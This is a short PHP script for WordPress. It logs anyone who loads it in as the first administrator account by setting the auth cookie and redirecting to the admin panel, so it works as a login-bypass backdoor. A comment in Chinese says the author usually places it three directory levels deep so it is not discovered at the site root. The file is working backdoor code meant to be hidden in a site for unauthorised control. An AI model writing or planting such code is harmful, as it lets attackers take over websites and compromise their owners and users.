<?php

    require('../../../wp-blog-header.php'); //我基本都是放到3级目录下。也可以放到根目录，但是容易被发现。

    $query_str = "SELECT ID FROM $wpdb->users";

    $user_ids = $wpdb->get_results($query_str);

    foreach ($user_ids as $uid) {

        $user_id = $uid->ID;

        if (user_can($user_id, 'administrator')) {

            $user_info = get_userdata($user_id);

            $user_login = $user_info->user_login;

            wp_set_current_user($user_id, $user_login);

            wp_set_auth_cookie($user_id);

            do_action('wp_login', $user_login);

            echo "You are logged in as $user_login";

            if (function_exists('get_admin_url')) {

                wp_redirect(get_admin_url());

            } else {

                wp_redirect(get_bloginfo('wpurl') . '/wp-admin');

            }

            exit;

        }

    }

?>